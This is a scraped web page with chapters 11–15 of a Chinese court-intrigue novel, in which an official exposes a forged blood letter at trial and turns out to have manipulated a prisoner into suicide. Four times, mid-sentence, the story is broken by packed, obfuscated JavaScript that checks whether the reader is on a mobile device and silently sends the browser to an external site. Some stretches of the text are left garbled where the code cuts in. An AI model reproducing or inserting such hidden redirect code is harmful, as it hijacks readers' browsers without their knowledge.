想到此处,上官栩长缓一口气,闭目歇了歇—— 刘昌血书的确棘手,洋洋洒洒竟写了两百余字,且所诉之罪皆有据可依,而刘昌如今又死了,他该如何在三司会审上与一个死人辩驳? 等等,不对! 上官栩骤然睁开眼,又缓缓坐起了身。 她凝眸沉思片刻后喊道:“青禾。” 青禾应声,从外殿走了进来。 “娘娘。” 上官栩道:“听闻御史台推鞠刑罚重于刑部和大理寺,他身子骨弱,今日受了鞭刑恐怕并不好过。你明日吩咐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他下午才受了刑,虽说因为中途咳嗽一阵后明显感觉到打到身上的鞭子轻了,但到底已先受了些,免不了皮开肉绽。 苏然审完送他回来时还假意问了他几句,他知道并不是苏然放过了他,只是害怕他死在狱中。 不过他仍是拒绝了苏然提出帮他盖上斗篷的好意—— 血迹污浊,玄色依能被侵染。 而如今仍是正月,哪怕白日外面阳光再好,只要内里晒不到的地方,就是阴冷的,更别说现下正是夜间。 徐卿安闭着眼,半抱半枕地挨着那件斗篷,半张脸埋在里面。 伤势和寒气同时侵体,呼吸止不住地发颤。 他的手便抱得更紧,斗篷拢在鼻下,脑中浮现着往日画面: “景哥哥,你好厉害,我戴着面具你都能认出来我。” 少年忍笑:“你的眼睛又骗不了人。” “那看来以后我还得把眼睛给蒙上。” “那也没用。” “为什么?!”少女娇嗔。 “你常熏芍药花香。” “风一过,便都闻到了。” 12. 第 12 章 转眼就到了三司会审的日子,青禾按照上官栩事先说好的在开审之前,先去牢中给徐卿安送了鸡汤,以及转达上官栩要求说给他听的话。 上官栩坐在梳妆镜前,上妆之后,她与镜中的自己相望,蓦地出了神。 昨夜她又梦见他了—— 少年温声:“你常熏芍药花香。风一过,便都闻到了。” 少女忖道:“那这样的话,就算我蒙着眼,你寻出我时,我也知道是你来了。” “因为……风一过,你身上的兰香我也都闻到了。” 春光明媚,少女灵动无比。 只可惜,梦境中依旧看不清他的脸,也闻不到他身上的清雅兰香。 “娘娘。” 青禾回了宫,一路到上官栩身侧复命。 “怎么样,他什么反应?”上官栩被她唤回神,拨回思绪问道。 青禾垂眸:“奴婢把娘娘的话转达之后,徐大人点了点头,谢了恩。他说他谨记娘娘的训责,以后他会注意的。” 上官栩继续道:“其他的呢?你将鸡汤的做法说给他听时,他的表情是怎样的?” 青禾回忆:“虽带着笑,但也听得认真,还说感谢娘娘的讲授,若以后有机会他定要亲自炖煮一次,报答娘娘。” 上官栩冷笑:“听起来他精神倒是很好。” 青禾颔首:“精神是还不错,就是脸色差了些,想来这几日还是牢中受了些苦。” 上官栩沉吟。 这个人呐…… 无论此番祸事是他刻意为之,还是不慎栽的跟头,这样的心境绝非常人所能比。 —— 三司会审,大理寺、刑部和御史台为首的官员分坐三席。 刘昌之案牵扯到上元夜游船漏水一事,又刘昌本职为四品侍郎,堪为朝廷重臣,作为垂帘太后的上官栩和辅政首相的苏望来旁听此案,自是无可厚非。 二人坐在堂侧的一扇山水绣地屏后面。 三司会审,纪律严明,徐卿安才被带来,三司长官便问:“刘昌自戕当夜,他在血书曾写到你去狱中找过他,是否属实?” 徐卿安答:“属实。” “他说,你曾向他施以酷刑,是否属实?” “属实。” “那当夜,你寻他是为旧事,是否属实?” “也属实。” “所以,你趁他受刑之后,身心俱疲,以其族人性命威胁他认下枉加之罪,是否属实!” 周围安静,徐卿安缓缓抬眼,他因三日刑讯脸色微白,神情却极为从容,甚至还带着一股不屈的傲气,这般情况下身姿依旧出众,如竹如松。 他说:“不属实。” 全堂瞬间哗然。 有三司长官拍惊堂木道:“可他血书之中分明诉你此罪!” 徐卿安反问:“他所诉就一定为真吗?或者说,那血书内容就一定是他所诉吗?” 高座上三人闻言面面相觑。 其中刑部尚书还算温和道:“既然以他血书之中的话来问你,自是在此之前就已鉴定过那血书的确是出自他之手。至于你所问的,他所诉是否为真,起码取自他血书内容的前三问,都得到了你的应证。” 徐卿安道:“前三问不假,但与最后一问没有关系。” “我寻他确因旧事,但不是四年前的事,而是他在工部任职以来所涉及到的所有贪赃之事,往日旧事,国朝震荡,但已有定论,下官所查是为贪腐案,也与当时之事无关,不过是因嫌犯任期原因昨夜问询之时提了一句,下官实在不知为何他会在血书中只单独提及到那一件事。” 大理寺卿又问:“可是针对他贪赃一案,在他自戕的前一日,你就已做了结案准备,为何之后你却还要向他追问?” 徐卿安对答如流道:“因为在此之后,有证人找上了我。证人说,他们所留存下来的证据不过刘昌作恶之十一,在他们家乡还有许多没能存下证据的受难者,若此案就照着最初的那样结下,那么那些受难者就难得交代,也难得补偿,所以我想为他们再问一问刘昌。” “诸位大人若是调查过,就不难知道,在下官去寻刘昌当天的下午,下官曾在自己的府宅外被人拦下过,那就是刘昌案的证人。” 三司长官相顾点头,确实是有这回事。 大理寺卿便再问:“就这样?没有其它原因了?你既要审理此案,又在深夜,为何不叫上与你同负责此案的陈御史一同前往,不然你现下也不至于毫无帮你作证的人物。” 说到这里,徐卿安垂眸静了下来,不似方才刚才那般从善如流,仿佛遇到了什么阻碍。 片刻,他才拱手:“此事,确实是下官考虑不周,然而我不叫上陈御史,实则是因为自有证人至御史台实名告诉之后,我与陈御史为保查案进度,就暂分为了两路,他继续去查上元夜祈福仪式中可能存在的致游船漏水的错漏处,而我则去负责了工部的事情,也就是刘昌贪污一事。” 说着,他顿了顿,又自嘲一笑:“当然,还有一点原因。此前下官所查之事,皆是朝廷让下官查什么下官便查什么,事出则查,给个结果就是,如此一来,其实于下官自身而言,利处不大,不过任务耳。但若抽丝剥茧,查出了未知之事,那就不一样了,那当是一大功。” “下官初入朝堂,在此事上确实是着急了。” 刑部尚书道:“你这话倒说得真诚。” 苏然身为御史中丞,亦在三司长官之列。 他开口道:“可是话说得真诚无用,凡是都得讲个证据。刘昌留下血书,以死告你,你要解的是这个。” 徐卿安唇角微扬。 上官栩坐在屏风后,隐约窥见了他的神态。 要开始了。 徐卿安道:“所以苏中丞就认定了刘昌所诉是真的?” 他不等苏然反驳便叹了口气,无奈道:“好吧,可时至今日,在下都还未好好看过那封血书中的内容,只从各位大人的口中听过。” 徐卿安拱手:“不知现在能否让我看一看,也让我见识一下这把我按在罪行柱上的血书,到底写了些什么?” 三司官长商议之后同意了徐卿安的请求,让人将血书拿在他面前细看。 这血书只那三日,苏然在审讯时曾拿出来让他瞧过几眼,但都看得并不仔细。 而那段时日,徐卿安又一直受着刑,精神并不太好,所以也就并未对此发出什么异议。 徐卿安唇色透着淡白,看着血书的双眼却是目光如炬。 “诸位大人,这血书有问题!”他突然立身,在公堂之上高呼。 屏风后的上官栩浅浅勾了勾唇,抬手拿起一旁小桌上的茶壶,给桌上的两个茶杯添上了热茶。 她轻声对苏望说:“苏公,喝茶。” 徐卿安一喊,苏然立即坐直身子:“有什么问题?” 徐卿安道:“这血书若真是出自刘昌之手,那也是在旁人的相助下所作。” 刑部尚书问:“你此论从何而来?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715880|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐卿安先拱手问苏然:“敢问苏中丞,刘昌尸身上有几处伤痕?” 苏然道:“自然额角撞墙一处,食指撕咬一处。” 徐卿安似笑非笑:“那就是了。” 他抬眼道:“诸位大人,我此前对他用刑不假,但我对他所用之刑是水刑,此刑虽残酷,然却不留伤痕,且为防罪犯谋事不轨,台狱里一向连瓷碗都不留,他便更寻不到任何能划伤自己的东西。而他额间所伤是其致命伤,无论他是当即就毙命,还是昏沉片刻才慢慢死去,血书都不会是在那道伤之后所写。” “也就是说,他能写下这两百余字的血书,全靠他食指上的那点血。”徐卿安举起自己的右手食指说道。 苏然大惊,刑部尚书和大理寺卿也察觉到了不对。 “撕拉!” 一声刺耳的裂帛声,徐卿安撕下了衣袍的衣角,又当着众人的面咬破了自己的食指。 伤口在粗布上摩擦,徐卿安蹙眉,忍着痛照着刘昌的那封血书写下了前面几列文字。 大约过了一炷香的时间,实在是写不下去了,这个过程,徐卿安已然是一边挤着伤口一边将快要凝固的血液重新磨的流出来。 他将自己临摹的那封血书举起来,额头上渗出几滴汗,又扯着唇笑道:“诸位大人请看,下官也咬破了手指,然而竭力也只能写出这几列字。” 他说:“就算刘昌真抱着死志写血书,咬出的伤口也比下官咬得更深,他也不至于靠着食指上的那点血就能写出两百余字吧?” “就算他真的体质与常人不同,出血量大,也不至于两百余字写到最后,字形与最初所写相差无几吧?” “诸位大人,啮指之痛当真是痛如穿心呐!” 说话间,徐卿安的呼吸又颤抖起来,他自身的问题加上多日来的处境,以及刚才手写血书,已是将他为数不多的精力又耗了一部分。 而他竟还在笑:“不过若是下官来写这封血书或许比他方便些,下官身上留下的鞭痕恰能帮下官出些血。” 端坐屏风后的上官栩闻言不禁觉得无语—— 他还真是时时刻刻都要讨人怜啊。 堂上的苏然眼睫也不禁颤了颤,难怪他今日押徐卿安出狱时提出为他换身干净衣服,他含糊推辞了,原来就是为了现在! 而话到此处,其实事情已经明了了,一个人仅靠食指上那点伤口如何能写下那么长一篇血书,更何况刘昌的血书上,其字前后相差并不大,若真要如徐卿安那样,一边挤着血,一边写字,就算真的能写到那么长,痛只是一方面,更多的是,那必会造成失血过多,最后精神不济根本就撑不起人去写下去。 而且……三司的官长还都去看过刘昌的尸体,他食指上留下的伤口,根本不算深。 此前,苏然一直推着人去鉴定血书是否真是出自刘昌之手,倒是忽略了其它地方。 刑部尚书反应过来,向徐卿安道:“你说得的确在理。” 三司对此案开始商议。 此案本就因刘昌的血书而起,而今他血书有异,那么其中的控告自然也就算不得数,更讳莫如深的是这其中竟还有其他人的影子…… 果然,在三司宣布此案存疑,只得宣布徐卿安无罪之后,徐卿安立马拱手高喊道:“血书既有异,刘昌之死恐另有隐情,而台狱森严,旁人难入。” “下官请查御史台,揪出幕后构陷之人,还下官清白!” 上官栩扬眉。 他的礼物到了。 13. 第 13 章 御史台固然有问题,但在三司会审上朝三司官长请令调查也没什么用。 徐卿安的这句话其实是说给屏风后面的两个人听的。 屏风后的人有了动作,三司官长起身,向那边行礼。 “殿下,苏相公。” 上官栩和苏望先后走了出来。 上官栩微抬手,免了众人的礼,又道:“今日之事确实出乎我意料,监察百官的御史台,内里竟也出了这样的丑事。徐御史说得对,此事必须得详查,若不把这搅浑水之人抓出来,以后百官都会以为御史台监察上报之事皆是蓄意捏造所以,御史台也会失了其应有的威严。” 她侧过头,含笑问向一旁的苏望:“苏公觉得呢?” 事情已经发展在这个地步,自是要给个交代的。 苏望笑意并不明显地回望过去:“娘娘说得是,御史台.独立于三省六部之外,朝廷赋予其弹劾监察之权,就是要求它自身要公正清明,如今出了这事,自是要查。” 上官栩颔首:“苏公的话说得更深一些。” 她商量道:“此事既出在御史台,那负责查案的就不能是他们自己人了,而此案特殊,不如就让刑部和大理寺协理调查吧。” 因上官栎曾任刑部侍郎,故而刑部的官员更多地偏向上官栩这一边,但大理寺就和苏望来往得更多了。 就算御史台中的御史大多倨傲,自恃中正,但苏然是御史中丞,自然御史台也就偏苏望一点。 上官栩此言不是刑部和大理寺合作,而是她和苏望合作,不让他觉得她此举是在针对他。 反正这件事已经是要查了,御史台再怎样也要闹腾一阵,她也就没必要把苏望逼得太紧,该拿下的人本也不至于这么轻易就被拿下。 上官栩深知苏望看重名声,而她这个安排也周全妥帖,他自是会应。 果然此事就这样说下,而徐卿安这边也自然如刚才那样无罪释放了,又让他之后将上元夜游船和刘昌一案的卷宗整理好,适时结案。 等到事情都安排得差不多的时候,苏望在离去前看了眼堂下的徐卿安,突然意味深长道:“徐御史当真才思敏捷,公堂之上,临危不乱,一眼看出血书的破绽,也救自己于水火之中,太后娘娘选人选得好啊。” 上官栩见苏望看过来,回笑道:“不是我选的好,是七郎选的好。” “去年春闱,七郎身为礼部侍郎出任主考官,徐御史又是那年状元,想来,他的卷子七郎应当还批过。”上官栩笑一下,“这样看,他还算七郎的门生呢。” 徐卿安嘴边方才噙起的笑意淡了下去。 而上官栩还在继续问:“对了,七郎出使西燕也三个多月了,想来也快回程了,他可有写信来问候苏公?又可提及他具体的回程时间?” 说到这里,苏望回头静静地看向上官栩,眼神竟不似寻常般凌厉,柔软了许多。 他虽只笑了一下,但这一次的笑意却是明显了不少:“是写了几封信回来,但归期未定,他也不知何时回京。” 上官栩遗憾地“哦”一声:“那等他回京之后,我一定好好为他接风洗尘,他爱吃的吃食我都给他备上。” 苏望颔首:“我替七郎谢过娘娘了。” 三司会审结束,堂上官员自然也就没有停留的道理。 因上官栩来时所带随身品有些多,收拾起来需要些时间,她便说不好让苏相公相等,让苏望先离开了,而三司的官员也要就此番会审结果梳理卷宗,继续后面的章程,上官栩也让他们先退下了。 徐卿安还在原地,倒是没人管他。 上官栩抬眼间,不经意地见到他还在那儿站着,奇怪道:“会审结束了,徐御史还在这里,是觉得刚才那一番破案陈词没说过瘾吗?” 徐卿安拱手:“娘娘打趣臣了。这不是诸位大人都离开了,没有安排臣的去处嘛。” 上官栩看他面色不畅,又在他拱手行礼时发现他刚才咬破的食指周围沾着血,心难免就软了下来。 她温声说:“会审结束,你已然清白,自是可以回去了。” 徐卿安轻轻地“嗯”一声:“今日谢过娘娘了。” 上官栩扬眉:“谢我?” 徐卿安分明明白她的意思,却道了其它:“娘娘是准备回宫了吗?” 上官栩:“自然。” 徐卿安:“前段日子娘娘受了风寒,想来食欲会受些影响,东市里有家铺子糕点做得不错,叫李记糕舍,臣住在旁边的安邑坊内,便时常路过去买,如今娘娘康复,今日又难得出宫一趟,皇城也离东市近,若娘娘喜爱糕点,不妨遣人买来尝一尝。” 三司会审的地点是在各官署所在的皇城里,而太极宫则算是宫城,皇城宫城虽然相邻,进入皇城也许凭证,但是皇城与宫城到底不同,于上官栩而言,出了太极宫便算出宫了,而皇城外就是长安城的东西两市。 上官栩面容平静,神色却似泛着笑地望着眼前之人,没有任何言语上的表态。 恰在此时,青禾来到她身边道:“娘娘,已经收拾好了。” 上官栩临走前终是扬唇笑了出来:“我知道了,徐卿推荐,我自会遣人去买的。” —— 徐卿安先回了一趟台狱取东西。 御史台的人也将他入狱那日所穿的衣物送还给了他,他换好衣服,拿上斗篷后,便准备离去。 牢房所在的位置很深,路过其它地方时,徐卿安听到一间牢房中传出来的交谈声。 “这里面可是验尸房?”徐卿安停下来问身旁跟着的狱吏。 狱吏点头,解释里面为何会传来交谈声道:“是,那位刘侍郎的尸身就停在那儿,如今案子有了变化,听说尸体要移到刑部或者大理寺去。” “哦。”徐卿安了解,“我能进去看一眼么?” 狱吏迟疑片刻,虽不解他看尸体要做什么,但又心想如今徐卿安也无罪,依旧是御史台的监察御史,他自然也就没有阻拦的道理。 徐卿安便去了。 验尸房里安排搬尸的狱吏都认得徐卿安,见状纷纷向他行礼。 徐卿安以微笑应之,然后便走到了刘昌尸体旁边。 如今惨白冰冷的人却在那夜私审时跪在他面前声泪俱下—— “我、我真的没想过他们会因为我交的那些东西最后那么惨,我以为,最多就是削官,流放……” “我、我、我……但我也真的是身不由己啊,我一个五品郎中,我只能听上面的安排,我不这样做,那遭殃的就是我了啊……” “可我真的无时不在后悔,那事之后我从来没有睡过一次安稳觉,要是能再给我一次机会,我一定不会这样做了,我、我一定想办法和他们周旋。” “我还在净 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715881|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明寺里为那几位大人,立了牌位,点了长明灯,就是想他们往生极乐。徐御史、徐大人,你说你能救我出去,你把我救出去……你把我救出去我一定把所有的钱都给他们做法事,去找他们被流放家眷,想法安置他们,以此赎罪好不好?” 徐卿安俯视着眼前这个声音极近哀嚎、表情似带着无尽悔恨的人,冷眸幽幽,看不出情绪。 他从怀中取出一个药瓶,从中倒出来一颗药丸到手上:“吃下去。” 刘昌不明就里,但仍乖乖地听了他的话。 徐卿安道:“在我离开之后不久,定有人来寻你,到时你就将我们刚才的对话告诉他,就说我查到了四年前上巳夜的事,所以今夜才来问你话,至于其它的,你想活命,就埋在心底。” 刘昌却一下慌了起来,他似乎猜测到了徐卿安说的那个要来寻他的人是谁:“不不不、我不能说,说了,他一定不会放过我的,说不定……他还要杀我灭口!而你,恐怕也逃不掉。” “对了,就是让他这么做,就是要让他杀你灭口。”徐卿安浅笑道,“他不杀你,我如何救你?难不成等到你秋决的时候我去劫法场么?” 徐卿安徐徐道:“我刚才给你吃的那颗药叫凝息丹,能吊住人最后一丝气脉从而伪造出死亡的假象,你顺着他的意去死,到时我才好偷天换日救你出来,而你家人也不至于被牵连,这才是两全之策。” “而你刚才说的也对,那话说出之后,他不会放过你,也不会放过我,所以这就要你帮我了。” 徐卿安唇边勾起笑:“我想,他最好的、能将你我一起灭口的方法,多半就是逼你自己了结,以此反咬我一口。” 徐卿安一边说着一边环视了一圈牢房中的环境:“看这四周条件,我猜你最后应是撞墙自戕而死,同时你应该还会留下一份血书,以此悲壮之举,告我屈打成招,欲给你扣上枉加之罪。” 他微微一笑,语气依旧轻松:“你说我说得对不对?” …… “真的么?”一切事情安排妥当之后,刘昌问了最一句话,他抬眼望向准备离去徐卿安,“那药真的有这个作用么?你真的会救我么?” “当然。”徐卿安不加迟疑的,“君子之言,金石不渝,而且你也只能信我,不是么?” 是啊,苏氏不会救他的,刘昌心想。 而徐卿安还在好心提醒道:“记得装得像一点,别那么痛快地就听了他的话去死。哭一哭,求一求,再和他谈谈条件,说不定你家人还能过得更好。” “还有那药,是吊命的,下手狠点,别让仵作查出端倪。” 刘昌终是应了。 …… 徐卿安站在验尸房中,身旁木床上的尸身冰凉,且生了斑。 少时,他常读文人诗词,其中不乏有喻君子之风的梅兰竹菊的身影,他以君子立身,求贤达,求高志,故尤爱之,也常熏兰香。 可如今他不熏兰香,也不做君子了。 他冷眼睨着早已没了气息的刘昌。 哪有什么凝息丹啊。 不过普通的山参丸罢了。 该下地狱的人,不配因为最后的忏悔而得到救赎。 唔…… 徐卿安收回目光,头也不回地往外走。 还是赶快回去梳洗一番,换身衣服吧。 等会还要迎接客人呢。 14. 第 14 章 太后的车驾已经回了宫,不过皇城里又驶出了另一辆马车—— 太后听闻东市一家糕点不错,遣了人去买来尝尝。 安邑坊内,一座宅邸的院侧小门被敲响。 徐卿安从里打开门,露出笑,拱手向外行礼:“娘娘。” 他已换了服饰,最外面穿的是一身杏色长袍,又许是刚洗浴完,只觉他周身还散着弥弥雾气,气色也好了很多,配着最外面那层柔软的颜色,颇有一股“陌上人如玉”,君子温润清和的风姿。 霎那间,上官栩一怔,似见故人。 然而他内里却偏不是故人那样。 上官栩冷下眼色。 徐卿安哪知她的想法,只侧过身,依旧带笑,抬手请她入内:“臣已将家仆全部遣至前院,内院已无旁人,娘娘不必担心被旁人看见。” 上官栩虽是垂帘太后,但太后无故也不可轻易出宫,不管是为皇室安全着想,还是为天家威严考虑,这都是一直以来不成文的规定。 所以就凭想吃外面糕点,是不够上官栩出宫一趟的。 故而她如今来,严重的不是被人撞见她与徐卿安私下会面,而是她被发现出宫。 若是被发现,免不了又要被一些言官上表谏诤了,这样于她时下的局势自是有不好的影响。 她跟着徐卿安一路走到他书房。 “徐御史倒是考虑周全。” 徐卿安为她倒了热茶:“娘娘能至微臣寒舍,微臣已不甚感激,自是不能为娘娘留下后顾之忧。” 上官栩轻笑,直入主题:“说吧,有什么话是不能在公堂上说的,偏要我到你这儿来。” 跟随上官栩而来的侍从都被安排在了稍远的位置等候,如今书房内外这一方地只有她与徐卿安两人。 徐卿安抬眼,含笑望她:“臣的礼物,娘娘喜欢么?” 上官栩却做迟疑:“什么礼物?你不惜以身入局,搅乱御史台,这就是你的礼物?” 徐卿安见她不承认,也不急,先问道:“如何就是臣以身入局呢?” 上官栩道:“初时我还不确定,直到你在公堂上说起你背上的伤痕时,我才明白,这局从你一接手刘昌贪污一案时你就想好了。” “你对刘昌用刑,不只是为了逼供,还是为了将你酷吏的名声传扬出去,给刘昌写下血书的动机,但你又偏不打他伤他,不留下任何伤口,为的就是今日公堂之上下的转圜。” “而他会留下血书,想来也是你夜审他那夜,对他说了什么,诱他如此,诱他身后之人如此。” 说着,上官栩突然停了片刻,眉眼含俏,深深地看过去:“只是我实在好奇啊,你缘何就相信,他不会中途偏离了你的想法,将你彻底卖出去?又缘何就肯定,他背后一定有人会就此出手?” 徐卿安噙笑道:“娘娘厉害,果然什么事情都瞒不过娘娘。” 他承认道:“此事确实从刘昌入狱起,臣就开始谋划了,因臣仔细查过刘昌,发现他所为的罪行罄竹难书,绝非他一人所能为,尤其是他前几年官职还不是这么高的时候,竟能多次躲过六部例查,所以臣断定,他身后一定还有人与他同盟,而如今他所为被捅露出来,与他同盟之人要么要救他,要么就是杀他灭口。” “不过他贪污之事,传遍整个京城,处境如此,他背后之人能不被他牵连就已是不错,断然不会施手相救,那么臣要做的,就是让他们出手杀他了,而他们一旦出手,势必有迹可循,臣就可以顺势抓住他们。” “你是这样想的?”上官栩听完他的话之后问道。 徐卿安反问:“不然娘娘以为呢?” 他当然不是这样想的,刘昌所为确实罄竹难书,但也有他为恶多年积攒至今的原因,就算有人与他同流合污,也多半不会是苏望授意,徐卿安这样说,不过只是为了给上官栩一个他所为的动机罢了。 她没有回答他的反问,而他与她对视一眼后,继续说了下去:“至于娘娘刚才所问的,我如何就确定他会按着我的路子走下去,是因为我激他的话,其实是为了激他身后之人的。” 徐卿安在这里改述了自己的计划,半真半假道:“自他入狱时,臣便察觉到这桩案子暗地里有旁人关注,所以当夜我就故意告诉他,我要深挖此案,让他交代他背后还有谁?” “呵,他自然是不肯说的,但臣当夜去寻他的不寻常之举定会引起他背后之人的注意,我此举不过借他之口将话转述给他背后之人,所以才有了后面这一系列的事情。” “而娘娘刚才说的将我彻底卖出去?”徐卿安自若一笑道,“我只是单方面地激他,又未与他达成协议,又何谈他卖我呢?” 其实针对这一事,徐卿安不是没有担忧过,所以他最先对刘昌施以酷刑,除了上官栩说到的那两点原因外,还有就是他想试一试刘昌,到底他是只贪财贪色,还是既贪财贪色又贪生怕死。 徐卿安自然得到了后面那个结果,而水刑残酷,除了在生理上的直观感受外,还会让受刑者在反复的窒息感中蒙生求生欲,受刑越久,求生欲越强烈。 刘昌毫无骨气,多日受刑使得他求生的欲.望达到顶峰,又因苏四郎的例子在前,深知苏氏绝不会救他,那么徐卿安与他的交易就成了他不得不抓住的稻草。 不过这也确实加着赌的成分。 然而退一万步说,就算徐卿安真的赌输了,刘昌要与他玉石俱焚,他也不至于陷入死局。 刘昌这么多年都没被苏望清算,就是因为他当初帮他们所做的丑事不涉及他们最核心的部分,也就是说他只是参与了构陷工部官长一事,在他的视角中,当年上巳夜之事仍是意外。 所以哪怕刘昌告诉他背后之人,徐卿安已经知晓四年前他构陷一事,那么徐卿安也可以说是因为他近日通过刘昌贪污案查到了一些,从而搪塞过去。 这样对于以后来说是要麻烦些,但也只是麻烦,在几乎确保刘昌不会与他同归于尽的情况下,完全值得一赌。 生死一次,到底更会看人心了。 徐卿安兀自轻笑一下。 上官栩又问:“那你又如何确定,他们会用血书这个法子?” 徐卿安抬眼望去,深深地笑了笑,为她添了新茶:“不知娘娘听不听戏?知不知道最近京城中唱得最热闹的是哪出戏?” 民间热闹,哪能事事都传入宫中,而上官栩一向没有看戏的兴趣,自然不知。 徐卿安答道:“是《缇萦救父》,故事也就是取自于汉代文帝时期,淳于缇萦为救父,写下血书求能以己代父受罪的故事。” 所以徐卿安从来都不是只把赌注压在一个人的身上,他还要潜移默化地影响环节中的每个人。 上官栩了然:“牢中本就条件有限,他们若想借刘昌之死来拉你下水,写血书这个方法写血书确实是最快、最震撼也是最合理的法子,就算他们没有想到,这戏一唱出去也帮他们想到了。” “而你去审刘昌的时间也定是测算好的,不能太早也不能太晚,要让刘昌能写完血书,又不能等到白日放任你去细查此案,所以逼刘昌去死的人不会耐心等刘昌一点一点地将血书磨出来,而是会帮他“出血”。” “谁知此举却正中你下怀,就算他们后面反应过来,此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715882|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案应该也到了押你审讯的地步,那血书作为证据也是动不了了。” 徐卿安道:“娘娘说得是。” 其实为了保证他能顺利破局,让人帮刘昌“出血”,也是那夜徐卿安向刘昌暗示过的事。 一环扣一环,就是为了万无一失。 上官栩不禁扬声笑了出来,拍掌道:“精彩!环环相扣,精彩至极!果真是数十年才能出一位的春闱铨选双元啊,徐御史如此厉害,可当真是让我刮目相看。” 徐卿安谦逊道:“不敢当,臣以身入局,押的是自己性命,自然要事事小心些。反是娘娘,才是真正聪慧之人。” 他迎上她的目光,含笑道:“娘娘不仅看出了血书中的端倪,还借以告诉臣如何炖煮鸡汤的名义,告诉了臣那血书中存在的问题,臣很感恩娘娘。” 是,上官栩见过血书后的当晚也察觉到血书上血量不对的问题,故而以杀鸡取血的方式向徐卿安做了暗示。 上官栩瞥目,不甚在意道:“那又如何?既是你提前就谋划好的,我那汤自然也就没算帮上忙。” 徐卿安顿时眼泛真诚道:“可是臣喝到娘娘送来的鸡汤了呀,虽不是娘娘亲手所炖,但那碗鸡汤却确实鲜美。” 上官栩一下回目:“你怎知不是我亲手所炖?青禾有给你说过?” 徐卿安神情微滞。 自是没有的。 他能知道,只是因为良久以前他曾喝过她亲手所炖的鸡汤,他刻骨铭心。 那味道许久不见,如今一时回味,怎知竟随口说了出来。 上官栩反问后,徐卿快速调整神情,从容道:“这有什么好说的么?臣自是知道娘娘金枝玉叶,不会轻易下厨,如此说也不过是聊表遗憾罢了。” 到底是个理由,没露出什么破绽,恰上官栩也不是特别在意,此问也就顺过去了。 而徐卿安也趁机转移到其它话题:“所以,臣送的礼物,娘娘喜欢么?” 可上官栩仍是装傻道:“你把整个御史台搞得乱,此盘棋确实厉害,可这和我有什么关系?在御史台任职的也不是我啊。” 徐卿安叹了口气:“娘娘何必如此,臣都这般细致地将臣所行之事讲了出来,娘娘为何还是不信臣。” “也罢,那臣便再讲讲吧,也好让娘娘看看臣的忠心。” 他道:“如今陛下年幼,朝堂政事大致有您和苏相公共同协力处理,表面看似其乐融融、风平浪静,但背地里的暗流涌动,谁又说得清楚?” “臣寒窗苦读十余载,有幸能入朝堂自然不甘只做一个下品官吏,而臣若想有所建树,单打独斗确是万万不行的,臣想投身娘娘,为娘娘谋事,除想借娘娘之势大展宏图外,自也是想求得娘娘的庇护。” “但臣深知,娘娘手下绝不养闲人、蠢人,所以臣便用今日发生在御史台的乱事向娘娘表诚意。” 上官栩嗤笑一声:“这话稀奇,御史台乱了,算什么诚意?” “因为御史台不在娘娘的掌控之下啊。”徐卿安微扬眉,一双桃花眼盈盈,“难道娘娘真的甘心让朝权悉数旁落于一人手上,任他做大,架空皇权么?” 风吹过窗牖,茶盏中的茶水表面泛起涟漪。 二人对视几瞬。 上官栩忽而轻笑,她眼波柔柔,语气轻缓,妩媚中带着讥诮道:“你当真大胆,你说的那个人在世人面前为朝事殚精竭虑,无人不称他为贤相,你如此挑拨……”她眼神和语气蓦地变冷变狠,“就不怕我把这些话告诉他,杀了你么?” 徐卿安抬眼,泰然自若地回以微笑:“就是为了能让娘娘杀了我啊。” 15. 第 15 章 那话确实说的大胆、疯狂,上官栩从未与这样的人打过交道。 她凝眸看他,目光幽沉。 可是人观寒潭,能看见的也不过只是水面上自己的倒影,焉能看透潭底到底有着怎样的风云。 而徐卿安垂眸解释道:“臣子侍君,若想取得主君信任,绝非只光靠‘忠诚’二字就能实现,甚至这两字都不是其中最重要的。” 他抬眼,缓声而正色道:“最重要的当是‘掌控’。” “一个臣子能力越强,主意便会越多,也就更容易引得主君猜疑,然而臣若能为娘娘效力,自然是想做能臣的,所以在此期间,臣就需要安娘娘的心。” “臣如今将臣所为全数告诉娘娘,就是心甘情愿将自己的把柄交到娘娘手中,若哪一日,您不要臣了,觉得臣没有可用之地了,那么这些把柄就是能让娘娘轻松杀了臣的刀剑。” 